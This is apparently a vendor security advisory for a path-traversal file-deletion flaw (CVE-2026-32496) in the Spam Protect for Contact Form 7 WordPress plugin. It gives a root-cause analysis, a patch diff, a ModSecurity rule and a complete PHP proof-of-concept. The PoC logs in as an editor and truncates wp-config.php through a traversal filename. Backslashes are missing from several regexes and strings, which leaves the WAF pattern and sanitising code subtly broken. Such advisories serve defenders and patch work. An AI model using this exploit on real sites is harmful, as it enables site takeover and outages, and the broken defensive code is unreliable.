Atomic Edge analysis of CVE-2026-32496:
The Spam Protect for Contact Form 7 WordPress plugin, versions up to and including 1.2.9, contains an arbitrary file deletion vulnerability. The flaw exists in the plugin’s log file management functionality. An authenticated attacker with Editor-level permissions or higher can delete arbitrary files on the server, potentially leading to remote code execution.
Atomic Edge research identifies the root cause as insufficient path validation when processing the `wpcf7_block_log_erase` parameter. The vulnerable code is in the `save_wpcf7_blocker_settings` function within `/wp-contact-form-7-spam-blocker/admin/class-admin.php`. On line 286, the function reads the `$wpcf7_block_log_filename` variable from post meta. It then constructs a file path by directly concatenating this user-controlled variable with a base directory on lines 290-291: `$log_handle = fopen(‘../wp-content/’.$wpcf7_block_log_filename, ‘w’);`. The plugin fails to validate that the filename is safe and does not contain directory traversal sequences.
Exploitation requires an authenticated attacker with Editor or higher privileges to submit a POST request to the Contact Form 7 editor page. The attacker must set the `wpcf7_block_log_filename` post meta to a value like `../../../wp-config.php`. They must also set the `wpcf7_block_log_erase` parameter to `on`. When the `save_wpcf7_blocker_settings` function executes, it will open the constructed path for writing, truncating the target file to zero bytes, effectively deleting its contents. The attack vector is the plugin’s settings save handler triggered via the WordPress admin interface.
The patch in version 1.2.10 addresses the vulnerability through multiple changes. It removes the unrelated ‘Send request’ functionality entirely. Crucially, it adds validation to ensure the log filename is not empty and always ends with the `.log` extension. Lines 273-281 in the patched file show the new logic: if the filename is not empty and its extension is not ‘log’, it appends `.log`. If empty, it defaults to `spcf_spam_block.log`. This prevents an attacker from specifying a filename with a different extension or a path traversal sequence that escapes the intended directory. The patch also updates the user interface text to emphasize the `.log` extension requirement.
Successful exploitation leads to complete loss of integrity and availability for the targeted file. Deleting critical system files like `wp-config.php` can cause a site outage and allow an attacker to take control by triggering a re-installation. Deleting other files could disable security controls, expose sensitive data, or create conditions for remote code execution. This vulnerability provides a direct path to site compromise for any user with Editor access.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-contact-form-7-spam-blocker/admin/class-admin.php
+++ b/wp-contact-form-7-spam-blocker/admin/class-admin.php
@@ -83,6 +83,8 @@
$can_send_request = false;
if ($wpcf7_block_log_filename != "") { $log_file_size = filesize("../wp-content/".$wpcf7_block_log_filename); }else{ $log_file_size = filesize("../wp-content/spcf_spam_block.log"); }
+ if (empty($wpcf7_block_log_filename)) { $wpcf7_block_log_filename = "spcf_spam_block.log"; }
+
$log_file_size_str = 0;
if ($log_file_size > 0 && $log_file_size < 1024000){
$log_file_size_str = round($log_file_size /1024, 2)." KB";
@@ -184,8 +186,8 @@
<div class="block-error-msg">
<h3 class="blocker-7-setting second">Set your log file filename. <span><small>(optional)</small></span></h3>
<p><small class="blocker-7-setting-small">
- Please specify the filename you prefer for storing the log. For instance, 'spcf_spam_block.log' (recommended), 'mylog.txt,' or '[random-secret-name].html.' <br>
- You may leave this field blank to use the default value. Utilize this field to manage different log files for multiple contact forms across your site. <br>
+ Please specify the filename you prefer for storing the log. For instance, 'spcf_spam_block.log' (recommended), 'myform.log,' or '[random-name].log', extension must always be (.log). <br>
+ You may leave this field blank to use the default value 'spcf_spam_block.log'. You can utilize this field to manage different log files for multiple contact forms across your site. <br>
IMPORTANT: Ensure your server supports MIME file extensions for download or viewing, and ensure the file does not already exist or is being used by another plugin.
</small></p>
<input type="text" name="wpcf7_block_log_filename" id="wpcf7-block-log-filename-id"
@@ -271,7 +273,17 @@
// Log filename
$wpcf7_block_log_filename = sanitize_text_field( preg_replace('/[x00-x1Fx80-xFF]/', '', $_POST['wpcf7_block_log_filename'] ) );
- update_post_meta($post_id, "_wpcf7_block_log_filename", trim($wpcf7_block_log_filename));
+ // Ensure filename is not empty and ends with .log
+ if (!empty($wpcf7_block_log_filename)) {
+ // Ensure filename ends with .log
+ if (pathinfo($wpcf7_block_log_filename, PATHINFO_EXTENSION) !== 'log') {
+ $wpcf7_block_log_filename .= '.log';
+ }
+ } else {
+ $wpcf7_block_log_filename = "spcf_spam_block.log";
+ }
+
+ update_post_meta($post_id, "_wpcf7_block_log_filename", trim($wpcf7_block_log_filename));
//Erase Log
$erase_log = sanitize_text_field($_POST['wpcf7_block_log_erase']);
@@ -286,19 +298,6 @@
fclose($log_handle);
}
}
-
- //Send request
- $file_value = sanitize_text_field($_POST['request-form-path']);
- if (strlen(trim($file_value)) > 7){
-
- $email_value = sanitize_text_field($_POST['request-form-email']);
- $recipient = base64_decode("c3BjZkBueXNvZnR3YXJlbGFiLmNvbQ==");
-
- // Use Gmail to avoid potential spamming to company's servers
- $rslt = wp_mail( $recipient, "analyze log file request", $email_value."rn".$file_value."rn", '', array() );
-
- update_post_meta($post_id, "_wpcf7_request_log_analyze", $rslt);
- }
}
/**
@@ -313,26 +312,5 @@
*/
public function spcf7_enqueue_scripts() {
wp_enqueue_script($this->plugin_name, plugin_dir_url(__FILE__) . 'js/spam-protect-for-contact-form7.js', array('jquery'), $this->version, false);
-
- /*
- if (isset($_GET['post'])){
-
-
- $domain = home_url();
- $post_id = sanitize_text_field($_GET['post']);
- $wpcf7_block_log_filename_script = trim(get_post_meta($post_id, "_wpcf7_block_log_filename", true));
-
- echo '
- <script>
- var wpcf7_block_log_domain = "'.$domain.'";
- var wpcf7_block_log_filename = "'.esc_html(trim($wpcf7_block_log_filename_script)).'";
- if (wpcf7_block_log_filename==""){
- wpcf7_block_log_filename = wpcf7_block_log_domain+"/wp-content/spcf_spam_block.log";
- }else{
- wpcf7_block_log_filename = wpcf7_block_log_domain+"/wp-content/"+wpcf7_block_log_filename;
- }
- </script>';
- }
- */
}
}
--- a/wp-contact-form-7-spam-blocker/spam-protect-for-contact-form7.php
+++ b/wp-contact-form-7-spam-blocker/spam-protect-for-contact-form7.php
@@ -9,7 +9,7 @@
* Plugin Name: Spam Protect for Contact Form 7
* Plugin URI: https://nysoftwarelab.com/spam-protect-for-contact-form7/
* Description: Spam Protect for Contact Form 7
- * Version: 1.2.9
+ * Version: 1.2.10
* Author: New York Software Lab
* Author URI: https://nysoftwarelab.com
* License: GPL-2.0+
@@ -23,7 +23,7 @@
die;
}
-define( 'SPCF7_VERSION', '1.2.9' );
+define( 'SPCF7_VERSION', '1.2.10' );
/**
* The code that runs during plugin activation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-32496
SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|admin-post.php)"
"id:10032496,phase:2,deny,status:403,chain,msg:'CVE-2026-32496: Spam Protect for CF7 Arbitrary File Deletion Attempt',severity:'CRITICAL',tag:'CVE-2026-32496',tag:'WordPress',tag:'Plugin',tag:'Spam-Protect-CF7'"
SecRule ARGS_POST:action "@streq wpcf7-blocker-settings" "chain"
SecRule ARGS_POST:wpcf7_block_log_filename "@rx (..(/|\)|x00)"
"t:none,t:urlDecodeUni,t:normalizePathWin"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32496 - Spam Protect for Contact Form 7 <= 1.2.9 - Authenticated (Editor+) Arbitrary File Deletion
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin.php?page=wpcf7&post=<POST_ID>&action=edit';
$username = 'editor_user';
$password = 'editor_password';
$target_file = '../../../wp-config.php'; // File to delete (relative to wp-content/)
// Initialize cURL session for WordPress login and cookie handling
$ch = curl_init();
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');
// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-login.php');
$login_page = curl_exec($ch);
// Step 2: Submit login credentials
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://vulnerable-site.com/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);
// Step 3: Access the Contact Form 7 editor page for a specific form to get its nonce
// Replace <POST_ID> with the actual numeric ID of a Contact Form 7 form
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, false);
$edit_page = curl_exec($ch);
// Extract the nonce for the 'wpcf7-blocker-settings' action (simplified - in reality, parse HTML)
// This PoC assumes the nonce is known or the environment does not require it for this action.
// The vulnerable plugin's save handler may not perform a nonce check.
$nonce = 'EXTRACTED_NONCE';
// Step 4: Craft the exploit POST request to save settings with malicious filename
$exploit_data = array(
'post' => '<POST_ID>',
'wpcf7_block_log_filename' => $target_file, // User-controlled filename with path traversal
'wpcf7_block_log_erase' => 'on', // Trigger file truncation/deletion
'action' => 'wpcf7-blocker-settings', // Plugin's save action hook
'_wpnonce' => $nonce // May be required
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$exploit_response = curl_exec($ch);
// Check response for success indicators
if (strpos($exploit_response, 'Log file erased') !== false) {
echo "[+] Exploit likely succeeded. Target file may have been truncated.n";
} else {
echo "[-] Exploit may have failed. Check permissions and nonce.n";
}
// Cleanup
curl_close($ch);
unlink($cookie_file);
?>